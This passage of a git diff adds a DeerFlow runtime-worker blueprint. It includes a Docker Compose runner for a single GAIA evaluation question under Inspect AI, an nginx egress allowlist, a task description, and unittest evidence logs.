--hash=sha256:a51ff14f8017338e2f2e5dab738ce1ec3b5a851f23b18c1ae1359b1eecbee6df \ + --hash=sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab \ + --hash=sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7 \ + --hash=sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b \ + --hash=sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550 \ + --hash=sha256:b9af1fe743828123e12b41dd8091eca1074d0c1569cc42e6e1eee98027f2bbd0 \ + --hash=sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea \ + --hash=sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277 \ + --hash=sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2 \ + --hash=sha256:c2ba942c94e0691467ab901fc51b6f2085ff48f2eea77b1a48240f011e8247c7 \ + --hash=sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778 \ + --hash=sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859 \ + --hash=sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d \ + --hash=sha256:d8c56bb4e6c795fc77d74d8e8b80846e1fb8292fc0b5060cd8131d522974b751 \ + --hash=sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12 \ + --hash=sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2 \ + --hash=sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d \ + --hash=sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0 \ + --hash=sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3 \ + --hash=sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd \ + --hash=sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e \ + --hash=sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f \ + --hash=sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e \ + --hash=sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94 \ + --hash=sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708 \ + --hash=sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313 \ + --hash=sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4 \ + --hash=sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c \ + --hash=sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344 \ + --hash=sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551 \ + --hash=sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01 diff --git a/blueprints/runtime-workers/deerflow/e2e/requirements.txt b/blueprints/runtime-workers/deerflow/e2e/requirements.txt new file mode 100644 index 000000000..0f62b0f26 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/requirements.txt @@ -0,0 +1,3 @@ +# Upstream GAIA README documented pip extra; report.md/report2.md exact pins. +inspect-evals[gaia]==0.22.0 +inspect-ai==0.3.271 diff --git a/blueprints/runtime-workers/deerflow/e2e/run.py b/blueprints/runtime-workers/deerflow/e2e/run.py new file mode 100644 index 000000000..d4a70f4bb --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/run.py @@ -0,0 +1,146 @@ +"""One bounded DeerFlow invocation for Inspect's solver; never score a task. + +Sources: DeerFlow v2.1.0 client.py and docker/docker-compose.yaml; Inspect AI +0.3.271 custom solver API. Every attempt retains native events and cleanup state. +""" +from __future__ import annotations + +import fcntl +import json +import os +import secrets +import shutil +import subprocess +import sys +import time +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) +from recipe import (HERE, OWNER, PREFIX, STATE, arm_settings, dependency_mount, expand, + mount, read, require_rootless, usage_database, write) +from check import read_completion +from receipt import build_receipt, compression_snapshot + + +def remove_owned(docker, name): + if not name.startswith("rw-deerflow-"): + raise ValueError("refusing cleanup of a non-worker container") + try: + result = subprocess.run(docker + ["rm", "--force", name], capture_output=True, + text=True, check=False, timeout=30) + if result.returncode == 0 or "No such container" in result.stderr: + return "absent" + except (OSError, subprocess.TimeoutExpired): + pass + return "unknown" + + +def attempt_compose(settings, pins, prefix, state, run, attempt, arm): + """Fresh Compose graph: compose-spec@914ec15d 06-networks.md:215-218. + + No persistent service dict, token, Redis connection or writable mount is + inherited. A host-owned QMD seed is copied into disposable attempt state. + """ + values = dict(settings.get("variables", {})) + values.update({"IMAGE_" + k.upper(): v for k, v in pins["images"].items()}) + values.update(DEERFLOW_MODEL=arm["model"], DEERFLOW_BASE_URL=arm["base_url"], RUNTIME_WORKER_ARM=arm["arm"]) + compose = expand(read(HERE / "compose.json.template"), values) + name = "rw-deerflow-e2e-" + attempt + compose["name"] = name + compose["services"] = {k:v for k,v in compose["services"].items() if k in {"gateway", "egress"}} + for key, network in compose["networks"].items(): + network["name"] = name + "-" + key + service = compose["services"]["gateway"] + for key in ("env_file", "depends_on", "healthcheck"): + service.pop(key, None) + service["container_name"] = name + service["environment"].update({"DEER_FLOW_STREAM_BRIDGE_REDIS_URL":"", + "DEERFLOW_SESSION_NAMESPACE":attempt, "DEERFLOW_CONVERSATION_ID":"gaia-" + attempt}) + for folder in (run / "data", run / "work", run / "config"): + folder.mkdir(parents=True, exist_ok=True, mode=0o700) + seed = state / "qmd-seed" + if seed.exists(): + shutil.copytree(seed, run / "data/mcp/qmd") + service["volumes"] = [mount(prefix / "runtime", "/runtime"), mount(state / "config", "/config"), + mount(run / "data", "/state", False), mount(run / "work", "/work", False), + mount(state / "work/.agents/skills", "/skills/custom"), mount(run / "input.txt", "/run-input.txt")] + service["volumes"].extend(dependency_mount(i, settings, prefix) for i in settings.get("mcp_mounts", [])) + egress = compose["services"]["egress"] + egress["container_name"] = name + "-egress" + proxy = (HERE / "egress.conf.template").read_text().replace("GATEWAY_ORIGIN", arm["base_url"].removesuffix("/v1")) + config = run / "config/egress.conf" + config.write_text(proxy) + config.chmod(0o644) + egress["volumes"] = [mount(config, "/config/egress.conf")] + return compose + + +def run_worker(prompt, sample_id, epoch): + if not isinstance(prompt, str) or not prompt.strip() or "/shared_files/" in prompt: + raise ValueError("missing question or unsupported GAIA asset") + os.umask(0o077) + settings, pins = read(STATE / "host.json"), read(PREFIX / "pins.json") + arm = arm_settings(settings) + model = arm["model"] + require_rootless(settings) + with (STATE / "e2e.lock").open("w") as lock: + fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) + attempt = secrets.token_hex(8) + run_id = os.environ.get("DEERFLOW_RUN_ID") + if run_id: + import re + if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_-]{0,63}", run_id): + raise ValueError("invalid stable run id") + run = STATE / "runs" / run_id / ("attempt-" + attempt) if run_id else STATE / "runs" / attempt + for path in (run, run / "work", run / "data"): + path.mkdir(parents=True, mode=0o700) + (run / "input.txt").write_text(prompt) + write(run / "sample.json", {"id": sample_id, "epoch": epoch}) + name = "rw-deerflow-e2e-" + attempt + compose = attempt_compose(settings, pins, PREFIX, STATE, run, attempt, arm) + write(run / "compose.json", compose) + docker = [settings["docker_bin"], "--context", "rootless"] + command = docker + ["compose", "-f", str(run / "compose.json"), "run", "--rm", "--no-deps", + "--name", name, "--label", OWNER, "-T", "gateway", + "/app/backend/.venv/bin/python", "/runtime/drive.py"] + window = {**arm, "start_epoch": time.time(), "end_epoch": None, "framework_exit_code": None, + "transport_ok": False, "compression_before": compression_snapshot(arm["arm"])} + write(run / "window.json", window) + try: + subprocess.run(docker + ["compose", "-f", str(run / "compose.json"), "up", "-d", + "--no-build", "--pull", "never", "egress"], capture_output=True, check=True, timeout=120) + with (run / "framework.log").open("w") as log, (run / "framework-events.jsonl").open("w") as events: + result = subprocess.run(command, stdout=events, stderr=log, timeout=2100, check=False) + window["framework_exit_code"] = result.returncode + except subprocess.TimeoutExpired: + window["framework_exit_code"] = 124 + except KeyboardInterrupt: + window["framework_exit_code"] = 130 + except (OSError, subprocess.CalledProcessError): + window["framework_exit_code"] = 127 + finally: + window["framework_cleanup"] = remove_owned(docker, name) + try: + with (run / "gateway-correlation.jsonl").open("w") as output: + subprocess.run(docker + ["logs", name + "-egress"], stdout=output, + stderr=subprocess.DEVNULL, check=False, timeout=30) + cleanup = subprocess.run(docker + ["compose", "-f", str(run / "compose.json"), + "down", "--timeout", "15"], capture_output=True, check=False, timeout=60) + window["network_cleanup"] = "absent" if cleanup.returncode == 0 else "unknown" + except (OSError, subprocess.TimeoutExpired): + window["network_cleanup"] = "unknown" + window["end_epoch"] = time.time() + window["compression_after"] = compression_snapshot(arm["arm"]) + write(run / "window.json", window) + try: + if (window["framework_exit_code"] != 0 or window["framework_cleanup"] != "absent" + or window["network_cleanup"] != "absent"): + raise ValueError("native worker failed or cleanup is unconfirmed") + completion = read_completion(run / "framework-events.jsonl") + window["transport_ok"] = True + finally: + write(run / "window.json", window) + receipt = build_receipt(run, usage_database(arm["arm"]), pins) + write(run / "receipt.json", receipt) + (STATE / "last-run").write_text(str(run) + "\n") + return {"completion": completion, "model": model, "receipt": receipt} diff --git a/blueprints/runtime-workers/deerflow/e2e/task.md b/blueprints/runtime-workers/deerflow/e2e/task.md new file mode 100644 index 000000000..aabdb49f9 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/task.md @@ -0,0 +1,18 @@ +The E2E task is selected from Inspect Evals GAIA v0.22.0, validation split, +`gaia-benchmark/GAIA` revision `682dd723ee1e1697e00360edccf2366dc8418dd9`. +Source: https://github.com/UKGovernmentBEIS/inspect_evals/blob/v0.22.0/src/inspect_evals/gaia/gaia.py + +Before a host run, freeze an actual no-attachment validation ID and retain the +permitted dataset bytes. `run-e2e.sh ID` supplies Inspect's formatted question +unchanged to the native DeerFlow embedded client. The adapter does not see the +answer target. Asset-bearing or absent IDs fail before worker launch. + +Inspect's unchanged `gaia_scorer` provides the verdict and metrics. Native tool +calls/results prove skills activation separately: successful reads of both +listed `search-first` and `verification-before-completion` SKILL.md files are +required for skills acceptance. Mere listing or describe_skill metadata does not +prove activation. Missing activation stays false even when GAIA answers correctly. + +The previous round-1 release-diff task is retired. `expected.json` is retained only +as historical input to the round-1 evidence; neither the worker nor grader reads +it in this recipe. New quality claims must reference Inspect's native .eval log. diff --git a/blueprints/runtime-workers/deerflow/egress.conf.template b/blueprints/runtime-workers/deerflow/egress.conf.template new file mode 100644 index 000000000..3b3015058 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/egress.conf.template @@ -0,0 +1,28 @@ +# nginx/nginx@release-1.28.0 src/http/modules/ngx_http_proxy_module.c:305-358,417-457 +# Fixed upstream and paths: never proxy a caller-provided host, URL or CONNECT. +pid /tmp/nginx.pid; +error_log /dev/stderr warn; +events { worker_connections 128; } +http { + client_body_temp_path /tmp/body; + proxy_temp_path /tmp/proxy; + log_format correlation escape=json '{"correlation_id":"$upstream_http_x_correlation_id","timestamp":$msec}'; + access_log /dev/stdout correlation; + server { + listen 3128; + client_max_body_size 16m; + location = /v1/responses { + limit_except POST { deny all; } + proxy_pass GATEWAY_ORIGIN; + proxy_buffering off; + proxy_read_timeout 2100s; + } + location = /v1/chat/completions { + limit_except POST { deny all; } + proxy_pass GATEWAY_ORIGIN; + proxy_buffering off; + proxy_read_timeout 2100s; + } + location / { return 403; } + } +} diff --git a/blueprints/runtime-workers/deerflow/evidence/artifacts.txt b/blueprints/runtime-workers/deerflow/evidence/artifacts.txt new file mode 100644 index 000000000..e67704db1 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/artifacts.txt @@ -0,0 +1,2 @@ +{"status": "passed", "recipe_payload_hashes": 29, "test_hash_matches": true, "json_records": 8, "readme_local_links": "resolved", "changed_paths": 37, "scope": "only authorized recipe and test"} + diff --git a/blueprints/runtime-workers/deerflow/evidence/fail-first.json b/blueprints/runtime-workers/deerflow/evidence/fail-first.json new file mode 100644 index 000000000..5d8a52334 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/fail-first.json @@ -0,0 +1,7 @@ +{ + "evidence_class": "local integration check", + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_deerflow.py -v", + "exit_code": 1, + "recipe_files_absent": true, + "summary": "FAILED (failures=11, errors=4)" +} diff --git a/blueprints/runtime-workers/deerflow/evidence/fail-first.txt b/blueprints/runtime-workers/deerflow/evidence/fail-first.txt new file mode 100644 index 000000000..f5bbbbd25 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/fail-first.txt @@ -0,0 +1,185 @@ +test_gateway_headers_preserve_affinity_and_new_call_identity (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_headers_preserve_affinity_and_new_call_identity) ... ERROR +test_model_context_and_container_contract (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) ... ERROR +test_pins_and_script_boundaries (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_pins_and_script_boundaries) ... ERROR +test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) ... + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='README.md') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='install.sh') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='config.yaml.template') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='extensions_config.json.template') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='pins.json') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='run-e2e.sh') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='e2e/check.py') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='e2e/expected.json') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='e2e/task.md') ... FAIL + test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='e2e/receipt.py') ... FAIL +test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) ... FAIL +test_tool_limits_are_enforced_not_only_described (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_tool_limits_are_enforced_not_only_described) ... ERROR + +====================================================================== +ERROR: test_gateway_headers_preserve_affinity_and_new_call_identity (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_headers_preserve_affinity_and_new_call_identity) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 70, in test_gateway_headers_preserve_affinity_and_new_call_identity + headers = module("deerflow_worker_headers", RECIPE / "runtime/gateway_headers.py") + File "/tests/test_runtime_worker_deerflow.py", line 25, in module + spec.loader.exec_module(result) + ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^ + File "", line 1019, in exec_module + File "", line 1156, in get_code + File "", line 1214, in get_data +FileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/runtime/gateway_headers.py' + +====================================================================== +ERROR: test_model_context_and_container_contract (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 31, in test_model_context_and_container_contract + config = json.loads((RECIPE / "config.yaml.template").read_text()) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^ + File "", line 546, in read_text + return PathBase.read_text(self, encoding, errors, newline) + ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "", line 632, in read_text + with self.open(mode='r', encoding=encoding, errors=errors, newline=newline) as f: + ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "", line 537, in open + return io.open(self, mode, buffering, encoding, errors, newline) + ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +FileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/config.yaml.template' + +====================================================================== +ERROR: test_pins_and_script_boundaries (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_pins_and_script_boundaries) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 78, in test_pins_and_script_boundaries + pins = json.loads((RECIPE / "pins.json").read_text()) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^ + File "", line 546, in read_text + return PathBase.read_text(self, encoding, errors, newline) + ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "", line 632, in read_text + with self.open(mode='r', encoding=encoding, errors=errors, newline=newline) as f: + ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "", line 537, in open + return io.open(self, mode, buffering, encoding, errors, newline) + ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +FileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/pins.json' + +====================================================================== +ERROR: test_tool_limits_are_enforced_not_only_described (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_tool_limits_are_enforced_not_only_described) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 51, in test_tool_limits_are_enforced_not_only_described + policy = module("deerflow_worker_policy", RECIPE / "runtime/worker_policy.py") + File "/tests/test_runtime_worker_deerflow.py", line 25, in module + spec.loader.exec_module(result) + ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^ + File "", line 1019, in exec_module + File "", line 1156, in get_code + File "", line 1214, in get_data +FileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/runtime/worker_policy.py' + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='README.md') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : README.md + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='install.sh') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : install.sh + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='config.yaml.template') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : config.yaml.template + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='extensions_config.json.template') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : extensions_config.json.template + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='pins.json') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : pins.json + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='run-e2e.sh') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : run-e2e.sh + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='e2e/check.py') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : e2e/check.py + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='e2e/expected.json') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : e2e/expected.json + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='e2e/task.md') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : e2e/task.md + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) (file='e2e/receipt.py') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 99, in test_reviewable_recipe_and_empty_result_rejection + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : e2e/receipt.py + +====================================================================== +FAIL: test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 105, in test_reviewable_recipe_and_empty_result_rejection + self.assertEqual(result.returncode, 1, result.stderr) + ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: 2 != 1 : can't open file '/blueprints/runtime-workers/deerflow/e2e/check.py': [Errno 2] No such file or directory + + +---------------------------------------------------------------------- +Ran 5 tests in 0.017s + +FAILED (failures=11, errors=4) diff --git a/blueprints/runtime-workers/deerflow/evidence/followup-checks.json b/blueprints/runtime-workers/deerflow/evidence/followup-checks.json new file mode 100644 index 000000000..b9f0f7ac1 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/followup-checks.json @@ -0,0 +1,32 @@ +[ + { + "name": "trace_fail", + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_deerflow.py -k native_trace -v", + "exit_code": 1, + "returned_output": "test_native_trace_does_not_count_failed_children_as_completed (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed) ... FAIL\n\n======================================================================\nFAIL: test_native_trace_does_not_count_failed_children_as_completed (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 140, in test_native_trace_does_not_count_failed_children_as_completed\n self.assertEqual(found[\"failed_tasks_observed\"], 3)\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 1 != 3\n\n----------------------------------------------------------------------\nRan 1 test in 0.005s\n\nFAILED (failures=1)\n" + }, + { + "name": "trace_pass", + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_deerflow.py -k native_trace -v", + "exit_code": 0, + "returned_output": "test_native_trace_does_not_count_failed_children_as_completed (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.011s\n\nOK\n" + }, + { + "name": "timestamp_fail", + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_deerflow.py -k gateway_reader -v", + "exit_code": 1, + "returned_output": "test_gateway_reader_is_read_only_and_uses_only_approved_columns (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... FAIL\n\n======================================================================\nFAIL: test_gateway_reader_is_read_only_and_uses_only_approved_columns (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 111, in test_gateway_reader_is_read_only_and_uses_only_approved_columns\n self.assertEqual(len(rows), 4)\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nAssertionError: 2 != 4\n\n----------------------------------------------------------------------\nRan 1 test in 0.044s\n\nFAILED (failures=1)\n" + }, + { + "name": "timestamp_pass", + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_deerflow.py -k gateway_reader -v", + "exit_code": 0, + "returned_output": "test_gateway_reader_is_read_only_and_uses_only_approved_columns (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.050s\n\nOK\n" + }, + { + "name": "syntax_log_whitespace", + "command": "python3 - <<'PY'\nimport json, subprocess\nfrom pathlib import Path\nroot=Path('blueprints/runtime-workers/deerflow')\nfiles=[p for p in root.rglob('*') if p.is_file() and '.research' not in p.parts and '__pycache__' not in p.parts]\ncounts={'python':0,'shell':0,'json':0}\nfor path in [*files, Path('tests/test_runtime_worker_deerflow.py')]:\n if path.suffix == '.py':\n compile(path.read_text(), str(path), 'exec'); counts['python']+=1\n elif path.suffix == '.sh':\n shell='bash' if path.parent==root else 'sh'\n subprocess.run([shell,'-n',str(path)],check=True); counts['shell']+=1\n elif path.suffix in ('.json','.template','.example'):\n json.loads(path.read_text()); counts['json']+=1\n if path.suffix != '.pyc':\n assert all(line.rstrip()==line for line in path.read_text().splitlines()), path.name\nprint(json.dumps({'status':'passed','syntax_files':counts,'whitespace':'checked all delivered files, including untracked files'}))\nPY", + "exit_code": 1, + "returned_output": "Traceback (most recent call last):\n File \"\", line 15, in \nAssertionError: fail-first.txt\n" + } +] diff --git a/blueprints/runtime-workers/deerflow/evidence/repository.txt b/blueprints/runtime-workers/deerflow/evidence/repository.txt new file mode 100644 index 000000000..5f8714b43 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/repository.txt @@ -0,0 +1,3 @@ +{"components": 69, "hashed_files": 7345, "profiles": 4, "receipts": 159, "status": "passed"} +Integrity and scope checks only; no live provider or GPU execution. + diff 